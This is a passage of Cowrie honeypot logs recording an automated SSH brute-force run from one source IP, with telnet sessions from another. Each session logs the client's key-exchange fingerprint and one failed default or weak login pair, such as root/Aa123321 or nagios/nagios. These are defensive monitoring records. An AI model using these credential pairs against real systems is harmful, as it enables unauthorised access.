-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:59.216122Z","src_ip":"192.109.200.237","session":"b69cc5195af6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:59.461474Z","src_ip":"192.109.200.237","session":"b69cc5195af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:00.546194Z","src_ip":"192.109.200.237","session":"b69cc5195af6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58534,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fb9d830a68c","protocol":"telnet","message":"New connection: 152.42.224.71:58534 (10.17.0.5:23) [session: 7fb9d830a68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:01.704927Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42184,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb1a29b0dbd5","protocol":"ssh","message":"New connection: 192.109.200.237:42184 (159.203.135.109:22) [session: fb1a29b0dbd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:02.330932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:02.335357Z","src_ip":"192.109.200.237","session":"fb1a29b0dbd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:02.418186Z","src_ip":"192.109.200.237","session":"fb1a29b0dbd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:02.666522Z","src_ip":"192.109.200.237","session":"fb1a29b0dbd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:03.752656Z","src_ip":"192.109.200.237","session":"fb1a29b0dbd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42206,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e788577ec3c","protocol":"ssh","message":"New connection: 192.109.200.237:42206 (159.203.135.109:22) [session: 7e788577ec3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:05.588181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:05.593302Z","src_ip":"192.109.200.237","session":"7e788577ec3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:05.679047Z","src_ip":"192.109.200.237","session":"7e788577ec3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:05.928074Z","src_ip":"192.109.200.237","session":"7e788577ec3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.81864881515503,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:06.589409Z","src_ip":"152.42.224.71","session":"9811bce0fc39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:07.021922Z","src_ip":"192.109.200.237","session":"7e788577ec3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42216,"dst_ip":"159.203.135.109","dst_port":22,"session":"29122144ef57","protocol":"ssh","message":"New connection: 192.109.200.237:42216 (159.203.135.109:22) [session: 29122144ef57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:08.818382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:08.823705Z","src_ip":"192.109.200.237","session":"29122144ef57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:08.906203Z","src_ip":"192.109.200.237","session":"29122144ef57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:09.156095Z","src_ip":"192.109.200.237","session":"29122144ef57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.735480308532715,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:09.595540Z","src_ip":"152.42.224.71","session":"0891aa19daa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:10.240845Z","src_ip":"192.109.200.237","session":"29122144ef57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36106,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5e055b10dc0","protocol":"ssh","message":"New connection: 192.109.200.237:36106 (159.203.135.109:22) [session: d5e055b10dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:12.029207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:12.034424Z","src_ip":"192.109.200.237","session":"d5e055b10dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:12.157090Z","src_ip":"192.109.200.237","session":"d5e055b10dc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:12.474380Z","src_ip":"192.109.200.237","session":"d5e055b10dc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:13.559763Z","src_ip":"192.109.200.237","session":"d5e055b10dc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36114,"dst_ip":"159.203.135.109","dst_port":22,"session":"0123d9700517","protocol":"ssh","message":"New connection: 192.109.200.237:36114 (159.203.135.109:22) [session: 0123d9700517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:15.437969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:15.442292Z","src_ip":"192.109.200.237","session":"0123d9700517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:15.524016Z","src_ip":"192.109.200.237","session":"0123d9700517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:15.772921Z","src_ip":"192.109.200.237","session":"0123d9700517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:16.859072Z","src_ip":"192.109.200.237","session":"0123d9700517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36118,"dst_ip":"159.203.135.109","dst_port":22,"session":"8013f8cfaecb","protocol":"ssh","message":"New connection: 192.109.200.237:36118 (159.203.135.109:22) [session: 8013f8cfaecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:18.640827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:18.644838Z","src_ip":"192.109.200.237","session":"8013f8cfaecb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:18.726971Z","src_ip":"192.109.200.237","session":"8013f8cfaecb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:18.972742Z","src_ip":"192.109.200.237","session":"8013f8cfaecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:20.189881Z","src_ip":"192.109.200.237","session":"8013f8cfaecb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56872,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0eb40036473","protocol":"ssh","message":"New connection: 192.109.200.237:56872 (159.203.135.109:22) [session: a0eb40036473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:21.869470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:21.873635Z","src_ip":"192.109.200.237","session":"a0eb40036473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:21.960014Z","src_ip":"192.109.200.237","session":"a0eb40036473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:22.205636Z","src_ip":"192.109.200.237","session":"a0eb40036473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:23.293279Z","src_ip":"192.109.200.237","session":"a0eb40036473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56888,"dst_ip":"159.203.135.109","dst_port":22,"session":"d009bfd512fa","protocol":"ssh","message":"New connection: 192.109.200.237:56888 (159.203.135.109:22) [session: d009bfd512fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:25.120394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:25.125394Z","src_ip":"192.109.200.237","session":"d009bfd512fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:25.207455Z","src_ip":"192.109.200.237","session":"d009bfd512fa","protocol":"ssh"}
